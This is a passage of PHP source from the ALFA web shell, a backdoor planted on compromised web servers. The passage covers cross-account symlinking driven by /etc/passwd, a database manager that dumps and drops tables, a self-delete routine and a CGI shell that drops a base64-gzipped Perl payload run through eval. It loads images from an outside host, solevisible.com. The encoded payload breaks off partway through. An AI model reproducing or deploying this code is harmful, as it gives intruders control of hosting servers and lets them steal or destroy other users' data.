$template = "<tr><td><span style=\"color:#FFFF01;\">{count}</span></td><td style=\"text-align:left;\"><a target=\"_blank\" href=\"http://www.{url}\"/><span style=\"color:#00A220;margin-left:10px;\"><b>{url}</b> </a></span></td><td style=\"text-align:left;\"><span style=\"color:#FFFFFF;margin-left:10px;\"><b>{user}</font></b></td><td><a href=\"ALFA_DATA/alfasymlink/root{cwd}\" target=\"_blank\"><span style=\"color:#FF0000;\">Symlink</span></a></td></tr>";
if ($sole) {
foreach ($sole as $visible) {
if (@strstr($visible, ":")) {
$solevisible = explode(':', $visible);
$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
echo str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
}
}
} else {
$passwd = _alfa_file("/etc/passwd");
if ($passwd) {
$html = "";
$is_named = false;
$users = array();
$domains = array();
$uknowns = array();
foreach ($passwd as $user) {
$user = trim($user);
$expl = explode(":", $user);
if ((int) $expl[2] < 500) {
continue;
}
$users[$expl[0]] = $expl[5];
}
$site_domains = @scandir("/etc/virtual/");
if (!$site_domains) {
$site_domains = alfaEx("ls /etc/virtual/");
$site_domains = explode("\n", $site_domains);
if (!$site_domains) {
$site_domains = _alfa_file("/etc/named.conf");
if ($site_domains) {
$is_named = true;
}
}
}
foreach ($site_domains as $line) {
if ($is_named) {
if (@strstr($line, 'zone')) {
preg_match_all('#zone "(.*)"#', $line, $data);
$domain = $data[1][0];
if (strlen($domain > 2) && !empty($domain)) {
$domains[] = $domain;
}
}
} else {
$domains[] = $line;
}
}
$x = 1;
foreach ($users as $user => $home) {
foreach ($domains as $domain) {
$user_len = strlen($user) - 1;
$sub_domain = str_replace(array("-", "."), "", $domain);
$five_user = substr($user, 0, $user_len);
$five_domain = substr($sub_domain, 0, $user_len);
if ($five_user == $five_domain) {
if ($is_direct) {
$cwd = str_replace("{user}", $user, $makepwd);
} else {
$expl = explode("}/", $makepwd);
$cwd = $home . "/" . $expl[1];
}
$html .= str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
} else {
$uknowns[$user] = $home;
}
}
}
$uknowns = array_unique($uknowns);
foreach ($uknowns as $user => $home) {
if ($is_direct) {
$cwd = str_replace("{user}", $user, $makepwd);
} else {
$expl = explode("}/", $makepwd);
$cwd = $home . "/" . $expl[1];
}
$html .= str_replace(array("{count}", "{user}", "{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
}
echo $html;
}
}
echo "</table>";
$cant_symlink = false;
}
} else {
echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
$cant_symlink = false;
}
if ($cant_symlink) {
echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><font color=\"#FFFFFF\">Error...</font></b><br>";
}
echo "</center></table>";
}
echo "</div>";
alfafooter();
}
function alfasql()
{
class DbClass
{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type)
{
$this->type = $type;
}
function connect($host, $user, $pass, $dbname)
{
switch ($this->type) {
case 'mysql':
if ($this->link = @mysqli_connect($host, $user, $pass, $dbname)) {
return true;
} else {
$this->mysqli_connect_error = true;
$this->mysqli_connect_error_msg = mysqli_connect_error();
return false;
}
break;
case 'pgsql':
$host = explode(':', $host);
if (!$host[1]) {
$host[1] = 5432;
}
if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
return true;
}
break;
}
return false;
}
function selectdb($db)
{
switch ($this->type) {
case 'mysql':
if (@mysqli_select_db($db)) {
return true;
}
break;
}
return false;
}
function query($str)
{
switch ($this->type) {
case 'mysql':
return $this->res = @mysqli_query($this->link, $str);
case 'pgsql':
return $this->res = @pg_query($this->link, $str);
}
return false;
}
function fetch()
{
$res = func_num_args() ? func_get_arg(0) : $this->res;
switch ($this->type) {
case 'mysql':
return @mysqli_fetch_assoc($res);
case 'pgsql':
return @pg_fetch_assoc($res);
}
return false;
}
function listDbs()
{
switch ($this->type) {
case 'mysql':
return $this->query("SHOW databases");
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
}
return false;
}
function listTables()
{
switch ($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
}
return false;
}
function error()
{
switch ($this->type) {
case 'mysql':
return @mysqli_error($this->link);
case 'pgsql':
return @pg_last_error();
}
return false;
}
function setCharset($str)
{
switch ($this->type) {
case 'mysql':
if (function_exists('mysql_set_charset')) {
return @mysqli_set_charset($this->link, $str);
} else {
$this->query('SET CHARSET ' . $str);
}
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
}
return false;
}
function loadFile($str)
{
switch ($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
case 'pgsql':
$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '" . addslashes($str) . "';select file from solevisible;");
$r = array();
while ($i = $this->fetch()) {
$r[] = $i['file'];
}
$this->query('drop table solevisible');
return array('file' => implode("\n", $r));
}
return false;
}
}
$db = new DbClass($_POST['type']);
alfahead();
$form_visibility = "table";
if (isset($_POST['sql_host'])) {
$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
if ($connection_db && !empty($_POST['sql_base'])) {
$form_visibility = "none";
}
}
$database_list = array();
echo "\r\n<div class='header' style='min-height:300px;'>" . ($form_visibility != "none" ? "<center><div class='txtfont_header'>| Sql Manager |</div><p>" . getConfigHtml('all') . "</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>" : "") . "\r\n<div class='sf' class='db-opt-id'><table style='margin: 0 auto;" . ($form_visibility == "none" ? "display:none;" : "") . "' cellpadding='2' cellspacing='0'><tr>\r\n<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>\r\n<td><select name='type'><option value='mysql' selected>mysql</option></select></td>\r\n<td><input type='text' name='sql_host' id='db_host' value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>\r\n<td><input type='text' name='sql_login' id='db_user' value='" . (empty($_POST['sql_login']) ? '' : htmlspecialchars($_POST['sql_login'])) . "'></td>\r\n<td><input type='text' name='sql_pass' id='db_pw' value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
$tmp = "<input type='text' name='sql_base' id='db_name' value='" . (empty($_POST['sql_base']) ? '' : htmlspecialchars($_POST['sql_base'])) . "'>";
if (isset($_POST['sql_host'])) {
if ($connection_db) {
$db->setCharset('utf8');
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while ($item = $db->fetch()) {
list($key, $value) = each($item);
$database_list[] = $value;
echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
}
echo "</select>";
} else {
echo $tmp;
}
} else {
echo $tmp;
}
$curr_mysql_id = $_POST['current_mysql_id'];
echo "</td>\r\n<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>\r\n<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>\r\n</tr>\r\n</table>";
if ($db->mysqli_connect_error) {
echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">' . $db->mysqli_connect_error_msg . '</div>';
}
if (!empty($curr_mysql_id)) {
$sql_title_db = "";
if (!empty($_POST['sql_base'])) {
$sql_title_db = "d.querySelector('#tab_" . $curr_mysql_id . " span').innerHTML='" . addslashes($_POST['sql_base']) . "';";
}
echo "<script>mysql_cache['" . $curr_mysql_id . "']['host']='" . addslashes($_POST['sql_host']) . "';mysql_cache['" . $curr_mysql_id . "']['user']='" . addslashes($_POST['sql_login']) . "';mysql_cache['" . $curr_mysql_id . "']['pass']='" . addslashes($_POST['sql_pass']) . "';mysql_cache['" . $curr_mysql_id . "']['db']='" . addslashes($_POST['sql_base']) . "';mysql_cache['" . $curr_mysql_id . "']['charset']='" . addslashes($_POST['charset']) . "';mysql_cache['" . $curr_mysql_id . "']['type']='" . addslashes($_POST['type']) . "';mysql_cache['" . $curr_mysql_id . "']['count']='" . addslashes($_POST['sql_count']) . "';" . $sql_title_db . "alfaConnectionHistoryUpdate();</script>";
}
if (isset($db) && $db->link) {
if (!empty($_POST['sql_base'])) {
echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'><<</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='" . (empty($_POST['sql_count']) ? "false" : "true") . "' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
foreach ($database_list as $db_name) {
echo '<li><div class="block"><i></i><b></b><a sql_count="' . (empty($_POST['sql_count']) ? "false" : "true") . '" db_target="' . $db_name . '" onclick="alfaMysqlExpander(this);" class="expander cls-' . $db_name . '-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/' . ($db_name == $_POST['sql_base'] ? "b_minus.png" : "b_plus.png") . '" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">' . $db_name . '</span><div class="clearfloat"></div><div db_name="' . $db_name . '" mode="' . ($db_name == $_POST['sql_base'] ? "loaded" : "no") . '" class="list_container cls-' . $db_name . '"><div>';
if ($db_name == $_POST['sql_base']) {
$db->selectdb($_POST['sql_base']);
$tbls_res = $db->listTables();
echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-' . $db_name . '" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
while ($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if (!empty($_POST['sql_count'])) {
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `' . $value . '`'));
}
$value = htmlspecialchars($value);
echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='" . $value . "'> <a class='db-opt-id' db_target='" . $db_name . "' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'" . $value . "')\"><span class='mysql_tables' style='font-weight:unset;'>" . $value . "</span></a>" . (empty($_POST['sql_count']) ? ' ' : " <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
}
echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-' . $db_name . '" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-' . $db_name . '" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="' . $db_name . '" target=".cls-' . $db_name . '" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
}
echo "</div></li>";
}
echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='" . $_POST['sql_base'] . "' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
}
echo "</table></div>";
echo "</div>";
} else {
echo htmlspecialchars($db->error());
}
echo "</div>";
alfafooter();
}
function alfaSql_manager_api()
{
$db = $_POST["alfa1"];
$type = $_POST["alfa2"];
$sql_count = $_POST["alfa3"] == "true" ? true : false;
$db = @json_decode($db, true);
$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
@mysqli_set_charset($conn, "utf8");
if ($conn) {
if ($type == "load_all_tables") {
$tables = array();
$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('" . implode("','", $db["databases"]) . "');");
$count = 0;
while ($row = @mysqli_fetch_assoc($q_tables)) {
if ($sql_count) {
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row["table_schema"] . '`.`' . $row["table_name"] . '`');
if ($count_q) {
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int) $count);
}
foreach ($db["databases"] as $db) {
if (!isset($tables[$db])) {
$tables[$db] = null;
}
}
echo @json_encode($tables);
} elseif ($type == "dump_drop") {
if ($db["mode"] == "drop") {
foreach ($db["tables"] as $table) {
@mysqli_query($conn, "DROP TABLE `" . $table . "`;");
}
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while ($row = @mysqli_fetch_array($q_tables)) {
if ($sql_count) {
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row[0] . '`');
if ($count_q) {
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int) $count);
}
echo @json_encode($tables);
} else {
if (strlen(alfaEx("mysqldump")) > 0) {
alfaEx("mysqldump --single-transaction --host=\"" . $db["host"] . "\" --user=\"" . $db["user"] . "\" --password=\"" . $db["pass"] . "\" " . $db["db"] . " " . implode(" ", $db["tables"]) . " > " . $db["dump_file"]);
} else {
$fp = @fopen($db["dump_file"], "w");
foreach ($db["tables"] as $table) {
$res = @mysqli_query($conn, 'SHOW CREATE TABLE `' . $table . '`');
$create = @mysqli_fetch_array($res);
$sql = "DROP TABLE IF EXISTS `" . $table . "`;\n" . $create[1] . ";\n";
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
$tbl_data = @mysqli_query($conn, 'SELECT * FROM `' . $table . '`');
$head = true;
while ($item = @mysqli_fetch_assoc($tbl_data)) {
$columns = array();
foreach ($item as $k => $v) {
if ($v == null) {
$item[$k] = "''";
} elseif (is_numeric($v)) {
$item[$k] = $v;
} else {
$item[$k] = "'" . @mysqli_real_escape_string($conn, $v) . "'";
}
$columns[] = "`" . $k . "`";
}
if ($head) {
$sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
$head = false;
} else {
$sql = "\n\t,(" . implode(", ", $item) . ')';
}
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
}
if (!$head) {
if ($fp) {
fwrite($fp, ";\n\n");
} else {
echo ";\n\n";
}
}
}
}
echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
}
} elseif ($type == "load_tables") {
$tables = array();
$q_tables = @mysqli_query($conn, "SHOW TABLES;");
$count = 0;
while ($row = @mysqli_fetch_array($q_tables)) {
if ($sql_count) {
$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row[0] . '`');
if ($count_q) {
$count = @mysqli_fetch_row($count_q);
$count = $count[0];
}
}
$tables[] = array("name" => $row[0], "count" => (int) $count);
}
echo @json_encode($tables);
} elseif ($type == "alter") {
$db["alter"]["type"] = strtolower($db["alter"]["type"]);
$inputs = $db["alter"]["type"] . "(" . $db["alter"]["input"] . ")";
$text_input = array("longtext", "text", "mediumtext", "tinytext");
if (in_array($db["alter"]["type"], $text_input)) {
$inputs = $db["alter"]["type"];
}
@mysqli_query($conn, "ALTER TABLE `" . $db["table"] . "` MODIFY COLUMN `" . $db["column"] . "` " . $inputs);
$error = @mysqli_error($conn);
if ($error) {
echo $error;
} else {
echo "ok";
}
} elseif ($type == "edit" || $type == "delete" || $type == "delete_all") {
if ($type == "edit") {
$q = @mysqli_query($conn, "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE `" . $db["col_key"] . "` = '" . addslashes($db["key"]) . "' LIMIT 0,1");
$row = @mysqli_fetch_assoc($q);
if ($row) {
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '" . $db["db"] . "' AND `TABLE_NAME` = '" . $db["table"] . "'");
$columns = array();
$edit_data = array();
while ($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
$input = array("col_type" => $row2["COLUMN_TYPE"]);
$row2["type"] = strtolower($row2["type"]);
switch ($row2["type"]) {
case "longtext":
case "text":
case "mediumtext":
case "tinytext":
$input["tag"] = "textarea";
break;
case "int":
case "smallint":
case "bigint":
case "tinyint":
case "mediumint":
$input["tag"] = "input";
$input["type"] = "number";
break;
default:
$input["tag"] = "input";
$input["type"] = "text";
}
$columns[$row2["name"]] = $input;
}
foreach ($row as $key => $v) {
$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
}
echo @json_encode($edit_data);
}
} else {
if ($type == "delete_all") {
$rows = implode("', '", $db["rows"]);
} else {
$rows = addslashes($db["key"]);
}
$query = "DELETE FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE `" . $db["col_key"] . "` IN ('" . $rows . "')";
@mysqli_query($conn, $query);
$error = @mysqli_error($conn);
if ($error) {
$status = false;
} else {
$status = true;
}
echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
}
} elseif ($type == "update") {
$query = "UPDATE `" . $db["db"] . "`.`" . $db["table"] . "` SET ";
foreach ($db["data"] as $col => $val) {
$query .= "`" . $col . "` = '" . mysqli_real_escape_string($conn, $val) . "',";
}
$query = substr($query, 0, -1);
$query .= "WHERE `" . $db["col_key"] . "` = '" . $db["key"] . "'";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
} elseif ($type == "insert") {
$query = "INSERT INTO `" . $db["db"] . "`.`" . $db["table"] . "` ";
foreach ($db["data"] as $col => $val) {
$cols .= $col . ",";
$vals .= "'" . mysqli_real_escape_string($conn, $val) . "',";
}
$cols = substr($cols, 0, -1);
$vals = substr($vals, 0, -1);
$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
$res = @mysqli_query($conn, $query);
echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
} else {
$pages = 0;
$title = false;
$query = "";
$tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
$line = 0;
$tables = array();
$columns = array();
if ($type == "load_data") {
$query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` LIMIT 0,30";
$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `" . $db["db"] . "`.`" . $db["table"] . "`");
$tbl_count = @mysqli_fetch_row($tbl_count_q);
$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '" . $db["db"] . "' AND `TABLE_NAME` = '" . $db["table"] . "'");
while ($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
$columns[] = $row2;
}
if ($tbl_count[0] > 30) {
$pages = ceil($tbl_count[0] / 30);
}
} elseif ($type == "query") {
$query = $db["query"];
} elseif ($type == "page") {
$db["page"] = (int) $db["page"] - 1;
$query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` LIMIT " . $db["page"] * 30 . ",30";
} elseif ($type == "search") {
$search = "";
$search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
foreach ($db["search"] as $col => $val) {
$search_noval_r = in_array($val["opt"], $search_noval);
if (empty($val["value"]) && !$search_noval_r) {
continue;
}
if (strstr($val["opt"], "...") || $search_noval_r) {
$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
$search .= $col . " " . $val["opt"] . " AND ";
} else {
$search .= $col . " " . $val["opt"] . " '" . addslashes($val["value"]) . "' AND ";
}
}
$search .= "1=1";
$query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE " . $search;
}
$q_tables = @mysqli_query($conn, $query);
if (!$q_tables) {
echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
return false;
}
$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '" . @addslashes($db["db"]) . "' AND TABLE_NAME = '" . @addslashes($db["table"]) . "' AND COLUMN_KEY = 'PRI'");
if ($col_key) {
$col_key = @mysqli_fetch_row($col_key);
$col_key = $col_key[0];
if (!empty($col_key)) {
$tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="' . $col_key . '" tbl_name="' . $db["table"] . '" db_id="' . $db["db_id"] . '" db_target="' . $db["db"] . '" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
}
} else {
$col_key = false;
}
while ($item = @mysqli_fetch_assoc($q_tables)) {
if (!$title) {
$tbl_content .= '<tr style="background-color:#305b8e;">';
if ($col_key) {
$tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="' . $db["db_id"] . '" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
}
foreach ($item as $key => $value) {
$tbl_content .= '<th>' . $key . '</th>';
}
reset($item);
$title = true;
$tbl_content .= '</tr><tr>';
}
if ($col_key) {
$cacheMsg = '<td style="text-align:center;"><input row_id="' . $line . '" type="checkbox" name="tbl_rows_checkbox[]" value="' . $item[$col_key] . '"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="' . $db["db_id"] . '" db_target="' . $db["db"] . '" tbl_name="' . $db["table"] . '" col_key="' . $col_key . '" key="' . $item[$col_key] . '" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="' . $db["db_id"] . '" db_target="' . $db["db"] . '" tbl_name="' . $db["table"] . '" col_key="' . $col_key . '" key="' . $item[$col_key] . '" row_id="' . $line . '" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
}
$tbl_content .= '<tr class="tbl_row tbl_row_l' . $line . '">' . $cacheMsg;
$line++;
foreach ($item as $key => $value) {
if ($value == null) {
$tbl_content .= '<td><i>null</i></td>';
} else {
$tbl_content .= '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
}
}
$tbl_content .= '</tr>';
}
$tbl_content .= '</table>';
if (!$title) {
$tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
}
echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
}
@mysqli_close($conn);
}
}
function alfaselfrm()
{
if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'yes') {
echo __pre() . '<center>';
if (@unlink($GLOBALS['__file_path'])) {
echo "<b>Shell has been removed</i> :)</b>";
} else {
echo "unlink error!";
}
echo "</center>";
}
if (isset($_POST['alfa1']) && $_POST['alfa1'] != 'yes') {
echo "<div class=header>";
echo "\r\n<center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
echo "<p><div class=\"txtfont\">Do you want to destroy me?!</div><a href=javascript:void(0) onclick=\"g('selfrm',null,'yes');\"> Yes</a>";
echo "</p></center></div>";
}
}
function alfacgishell()
{
alfahead();
$div = "";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
if (!in_array($_POST['alfa1'], array('perl', 'py'))) {
$div = "</div>";
echo "<div class=header><center><p><div class=\"txtfont_header\">| CGI Shell |</div></p><h3><a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi('perl')\">| Perl | </a><a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi('py');\">| Python | </a>";
}
if (isset($_POST['alfa1']) && in_array($_POST['alfa1'], array('perl', 'py'))) {
@mkdir('cgialfa', 0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$name = $_POST['alfa1'] . '.alfa';
$perl = "#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64(\"H4sIAAAAAAAA/6UZDXfTRvKvLBthSRBbtktazrJcQuJA3iUhlxju9aJgZGlt70OWVH2QpMb97Tezu7KkEKC0yUORZud7ZmdmlyJj5PT4dDwYvPQy9vMzuwDAEQ+ZBETeignQwU1AdG+WTRMvX+q25i/4NOApcQg8EcsoFw2ta5q29l8enU1guWtrZ5ODVXDJEviiLWprbyN+W0FsgBzEq5UXBRO+YnGRHxapl/M4gtUekF8u45vDO5DB/TdFnhQ5wm0NtBKC4WvB8jBe8Ih8/ozvyU3BA0MbmvhNvXDuoYhSoKFU+5VUig1ITSlTIJ+DwXVk6gcU8GhyE1DAOAdL7/OjritQLES4YOAY5udx2sQh/VGrR3qjVl/g4ltPwIAoK2bkgnnBuZeCy9dh7HshMZ7wyAQeL6aEz+FpK7DGd4kG7/D8yO7g+ckLQe5pEeY88dL8KE5Xh17uAak2Pnu31g/enE3GZ5Pp5Lfzsb4hzp/EWpXIrjUH9HYA+DaZxUUUeOmdY3Semppl87khOVyM//N2fDmZno4nr98cAg/2O6GvxhNqrjUebQUB0sVv08vJxfHZK31jb1iYfZvF+ZtL5JGC6cbl5PD4DKzh0e49vU/GZ68mr/WNaW+27P6uTaDwSwUBtfV2W+9oPftFyDPMriwJeW5YWxRL6APOfQ0asvRlHCCVhthXvesmGDRwUzfCf5/hT2SVy0jxwdZKYr18/ZNkgkKzAJVHa30Ouw+VRnuIQKpYAHdcxrx3XIq2uLQkk/i92pdgTS1rcR+WIQy8A0nk9G1licav4ZU/fQrOKQES/33nqZAoVKwvAXfDvVFKQBYqBSATlYniDVkY742GW0zzswBo8KWZQsUt7mOj0zGtxPM/GtSnu2TJbg2tZ5rWgglDUJKwFSjsDaYXW78Q+acC1yoDBiYyz1/CBzG6pNMh2g6AMVkr49ynFgHxRm0XVZwcyQmxd0nfVEZ+V8kfNKUDZdDtUtzfRsDmPGJQvspVLKZ1TGX1BovF2ySMvQDL9dpfxomhTbwUCuAZBMsU3GoAdNhBkaYsyg95aqJ+K+vKdV3rGva4Nkm9KJuzFJmJtUfG1XvrvetePzG1R3adESqh6h/uGrWEhJf8D5TDo9yAJF1gM2hmtEksqOn9ZyYWlThhkfH2/OTN/uHR8cl4l9BRTQw1zfWMR6s4YDUkYZaspnaSgiBSrZF7wmw/jLMGsSKhpbEsIPe1//fLjhtRhahPlowgQ0L1zkz1w4aXOzolN15GChEJ4JcVvs+ybF6E4V1Hl8mppB55qBr0mkfUlvE7xwUUrQIJ9YqsNSxbWJWGPsSKpaOhAMQRUKx47tB8ybOO/OgEPPNmwNXJ04LZYiXoQIYUzJnlsWcUEct8L2EGi3zw5NuLY+i1SRwBZ6OObUKaUQJI+V3CHLotolUNpWTF8mUcOLJcE8/HHu2AY7RLP+VJfgJ9CUHgktEw9GYsJEDsUOWaFKBZ4kWEA4vpdI6uLBIAWggdkWGWp3G0GLWiWZbY8nmwjCGCxBMxAESJMbQE99GQRzgNZPldCCqDJ5LQuxtEYByYglK2ksF5/tKLFogW+8UKrO9ABMchw9eXd8eB4epbnVzd7PAoYunryemJI7yE8rOr7nVHDESUSC8hlBJRGumckgzyx6E/7dFSM7kiI1XSlF8yRkrFLYXEWfIgYF